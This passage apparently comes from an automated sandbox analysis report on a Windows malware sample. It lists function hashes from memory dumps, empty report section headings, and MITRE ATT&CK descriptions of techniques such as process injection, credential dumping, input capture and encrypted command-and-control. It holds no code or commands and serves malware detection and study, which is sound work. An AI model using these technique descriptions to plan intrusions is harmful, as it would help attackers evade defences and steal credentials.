String ID:
API String ID:
Opcode ID: edc90831e38b4481c671ae3201a0264cbefa39c83c22bae44a2e85548d819054
Instruction ID: 416a2725264e87c537c782ab7e1f8f32b336abb89565a363a5e070148881eba2
Opcode Fuzzy Hash: edc90831e38b4481c671ae3201a0264cbefa39c83c22bae44a2e85548d819054
Instruction Fuzzy Hash: 1B0152614093C09FE7124B25DC84B52BFA8EF83224F1985ABE9848F293D2796D45C771

Uniqueness

Uniqueness Score: -1.00%

Function 073AD307, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe683aec0044a6bdcf0078052f3d98448c449377e764c90cfc0496005625c8d
Instruction ID: 78cb973b4120da9f2b8cdd7e2fdc92950c47a5c18ca0a5e244707d553c7b2e3f
Opcode Fuzzy Hash: 8fe683aec0044a6bdcf0078052f3d98448c449377e764c90cfc0496005625c8d
Instruction Fuzzy Hash: CC0162B1F00155AFDF51DB989845AFEBBFAEF88311F048066D218D3180D77455158BA0

Uniqueness

Uniqueness Score: -1.00%

Function 073A4860, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f3b93cc7d3adc8170639731661d69abf275681db568406be59c7ce12eb2fa9
Instruction ID: 191719a51c53940912aa6e4638b41c17aabbdb5b5a635ca9b4f8940756db248b
Opcode Fuzzy Hash: 60f3b93cc7d3adc8170639731661d69abf275681db568406be59c7ce12eb2fa9
Instruction Fuzzy Hash: A5F02BB17141947BF32863B4B81B77A338EEB40715F004439A60E8B2D0CEAA9C40C791

Uniqueness

Uniqueness Score: -1.00%

Function 073AD0F8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9c9bd7697901e62fceb05934ed9ea1ead94667c3366286d239cb9f02b55900
Instruction ID: 09cc7e037a13bea0cb5c99ced163d27155dd50942576c1fa73b73212f925eec9
Opcode Fuzzy Hash: 8d9c9bd7697901e62fceb05934ed9ea1ead94667c3366286d239cb9f02b55900
Instruction Fuzzy Hash: 35F0FE32310124ABD7549A5AE8889DABBAEFBD9361B948026F509C7311CB759C46C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 073AD370, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467c7affc00edfb446d6a655a572c4ab7fa4444180cb3f83d096ae177fab47f7
Instruction ID: 3ea903a8f3feefcd7c0049170e4398de3b0cdb2f6123f09280d5e9c4addb3150
Opcode Fuzzy Hash: 467c7affc00edfb446d6a655a572c4ab7fa4444180cb3f83d096ae177fab47f7
Instruction Fuzzy Hash: 89F0F070205302DFE726CF26D445959BFF5FF86300B1484AAE449CB691CB32D810CB30

Uniqueness

Uniqueness Score: -1.00%

Function 073A64A1, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859dbb979c65d2908ffadf896520c69f3496770fde39e63954a82a329acf7ae2
Instruction ID: f69c83a0005b316ab07843afff4aa5cf550666c396c41f5a55ff68f5e0e112c2
Opcode Fuzzy Hash: 859dbb979c65d2908ffadf896520c69f3496770fde39e63954a82a329acf7ae2
Instruction Fuzzy Hash: CDF027302047609FC3625F25F40AAD93BA8EF41220744009AF406CB971CE64DD81C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 073A5250, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edbf2cbc266f8f0ee775587db5b0a19622f0c66abdc55163b015d67482252f84
Instruction ID: dcb973f297fd45ab4d5a0a4125caba24958a365e180e7bce862684de07ccc360
Opcode Fuzzy Hash: edbf2cbc266f8f0ee775587db5b0a19622f0c66abdc55163b015d67482252f84
Instruction Fuzzy Hash: C7E026313053058FC3005B24F8049E5BBF8EF46721B0200E7E504CB761DB759C41CB81

Uniqueness

Uniqueness Score: -1.00%

Function 073A8E10, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f7f31a866528d3784e02a604db61a1b0b26318a375a3a5ecdf8e2158d056c8
Instruction ID: e05126e496ad673cd4198566ad37efde6cf2db5f16e63d3988ddb2ff18a01a9f
Opcode Fuzzy Hash: 62f7f31a866528d3784e02a604db61a1b0b26318a375a3a5ecdf8e2158d056c8
Instruction Fuzzy Hash: 33E02B92B4A3A22FB70322B52C035F9BBCC8D8106070884F3DE4CC2093E408CD2417C2

Uniqueness

Uniqueness Score: -1.00%

Function 073A8989, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 952826d5a9777ae709803bb4eb37ae51672ea69a8d32864dcf721bd9a22b40d5
Instruction ID: 7cf3c73db94d15761441ddad8471d3068d00743329d32ef699c0857053edec3e
Opcode Fuzzy Hash: 952826d5a9777ae709803bb4eb37ae51672ea69a8d32864dcf721bd9a22b40d5
Instruction Fuzzy Hash: A8E0263010434AEFDB2226B4E8164C53B79DF42229B9000BAD8C88B581EF765C99C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 073A6633, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f14fbba819d83acde0f4aee9e97b38f12d9b3c063a136c11dfc4822ba69dec
Instruction ID: b39b84d4ccd4e3ea8405842f8b39880dc4d6a209c7fccf64b490d7fda567d8eb
Opcode Fuzzy Hash: 81f14fbba819d83acde0f4aee9e97b38f12d9b3c063a136c11dfc4822ba69dec
Instruction Fuzzy Hash: 00E02030005755DBE7292724E6165E27FB4EF06351F08459FD4CDC6992C7347954C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 073ACB01, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 557ffa8eca5b155d55fd3a4f454a0a8d1ae19ac38dd47381c3dc626f67b57a88
Instruction ID: c9feafa4adec1ab7190d1cd8efd33917706d2d54dc9ebb6c73ea8713e5901815
Opcode Fuzzy Hash: 557ffa8eca5b155d55fd3a4f454a0a8d1ae19ac38dd47381c3dc626f67b57a88
Instruction Fuzzy Hash: 4CE0C2333042499FAB11A764E0414BEBBEAFBC8224318486ED0CAC3202CB3AA40B8700

Uniqueness

Uniqueness Score: -1.00%

Function 073A5260, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b51f0a344afe3dc28097a84595229abd3659e4e47068e52a22a3adf6884844c0
Instruction ID: 46a356759bba0402126b85d9b67a7d5304755b18497eb11b320a23a131dcb2fa
Opcode Fuzzy Hash: b51f0a344afe3dc28097a84595229abd3659e4e47068e52a22a3adf6884844c0
Instruction Fuzzy Hash: E6D0A7343001108FC200A718E408D9677E9EB89621B01409AF905CB360CAB1EC0087C0

Uniqueness

Uniqueness Score: -1.00%

Function 073A9328, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b305e26b9b23ff0c7c1f647a3f28c17a2927db6c44664c140b26e2e1f8a4ef85
Instruction ID: 482643417c1219b5a20568c496f273de697864d12d269b5692d5d686aa2d6c16
Opcode Fuzzy Hash: b305e26b9b23ff0c7c1f647a3f28c17a2927db6c44664c140b26e2e1f8a4ef85
Instruction Fuzzy Hash: 0DC08C36340A1497C5409AA2F8885DDB321FBC82323608E2AD08A8AA24CB30A90946C1

Uniqueness

Uniqueness Score: -1.00%

Function 073A4230, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3de527aae54383c563b1426419ba07997604e48c3b84cbea35c6f2ed82f70c5
Instruction ID: 84e5be3c4862f32ede538e380f9bc90a122bbc873b7abc49548baa95dc7aae01
Opcode Fuzzy Hash: e3de527aae54383c563b1426419ba07997604e48c3b84cbea35c6f2ed82f70c5
Instruction Fuzzy Hash: 5EC09BB9508381CFDF619635A5097C43F505B35311F0003A6E14DCE7D1D5590541CF32

Uniqueness

Uniqueness Score: -1.00%

Function 073A8D10, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.523447961.00000000073A0000.00000040.00000001.sdmp, Offset: 073A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f504ba0c58c1672eda698b80fa61f572c2784760ca29f0b4b7e8f0308a0a25
Instruction ID: 9347a857c5736a42c48bd181ba4ddc9cb9def29a76f20d35b1b4548671d2219d
Opcode Fuzzy Hash: 57f504ba0c58c1672eda698b80fa61f572c2784760ca29f0b4b7e8f0308a0a25
Instruction Fuzzy Hash: F8C04C6540E3C39FDF075F7055161847FB0691324171901D7C4D5D6163C728055AC711

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report V1yj2IcuOo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre